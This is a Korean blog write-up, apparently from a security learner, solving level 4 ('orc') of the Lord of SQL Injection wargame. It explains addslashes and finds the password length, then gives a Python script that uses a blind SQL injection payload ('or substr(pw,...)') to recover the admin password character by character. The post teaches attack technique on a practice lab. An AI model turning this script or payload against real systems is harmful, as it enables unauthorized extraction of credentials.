[Lord of SQL Injection] 4번 orc

2021. 1. 21. 00:51·Write-Up/LOS (lord of sql injection)
반응형

$_GET[pw] = addslashes($_GET[pw]); 

addslashes 라는 함수를 먼저 알 필요가 있었다.

addslashes : 만일 문자열에 작은따옴표('), 큰따옴표("), 백슬래시(\), NULL 문자(%00)가 포함되어 있다면, 이 문자들 앞에 백슬래시(\)를 붙여 특수 문자가 순수한 하나의 문자로 인식되도록 해준다.

 

id는 admin으로 고정되어있고 pw만 값을 받는다. php코드를 보면 pw값을 정확히 맞춰야지만 문제가 풀릴거 같다.

blind sql injection을 이용하여 문제를 풀어야 할것 같다.

 

쿼리가 참이기만 해도 hello admin을 출력하기 때문에 pw에 참인 쿼리를 한번 넣어주겠다.

hello admin이 나오는것을 확인 할 수 있다.

여기서 blind sql injection을 활용하기 위하여 먼저 pw 길이를 알아야하는데 length함수가 필터링 되지 않았기 때문에

length를 이용해 패스워드 길이를 유추패보겠다,

length가 8일때 hello admin이 나와 pw길이는 8이라는 것을 알 수 있다.

ascii(substr(pw,1,1) < 50 이런 쿼리를 이용하여 하나씩 총 8개를 찾을수 있지만 너무 시간이 오래 걸리기에 파이썬 코드를 활용하겠다.

 

import requests
 
cookies= {'PHPSESSID':'7a4pokemhooffbduohsbglc420'}
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'
pw = ''
for i in range(1,9):
    for j in range(33,127):
        payload = "pw=' or substr(pw,1,"+str(i)+")='"+pw+chr(j)+"#"
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if "Hello admin" in res.text :
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)

결과

반응형

'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글

[Lord of SQL Injection] 6번 darkelf  (0) 2021.01.21
[Lord of SQL Injection] 5번 wolfman  (0) 2021.01.21
[Lord of SQL Injection] 3번 goblin  (0) 2021.01.20
[Lord of SQL Injection] 2번 cobolt  (0) 2021.01.20
[Lord of SQL Injection] 1번 gremlin  (0) 2021.01.20
'Write-Up/LOS (lord of sql injection)' 카테고리의 다른 글
  • [Lord of SQL Injection] 6번 darkelf
  • [Lord of SQL Injection] 5번 wolfman
  • [Lord of SQL Injection] 3번 goblin
  • [Lord of SQL Injection] 2번 cobolt
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    tabat
    Lock
    sqlinjection
    computeifpresent
    nop sled
    동시성
    putval()
    동시성처리
    enumerate #list comprehension
    concurrenthashmap vs hashmap
    DB정리
    spring
    computeifpresent()
    Java
    hashmap vs concurrenthashmap
    ConcurrentHashMap
    코드트리
    reentrantlock실습
    lord of bufferoverflow
    CountDownLatch
    AQS
    SpringBoot
    코드트리조별과제
    thread-safe
    ReentrantLock
    spring boot
    쿠폰발급
    computeifabsent()
    LOB
    computeifabsent
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord of SQL Injection] 4번 orc
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.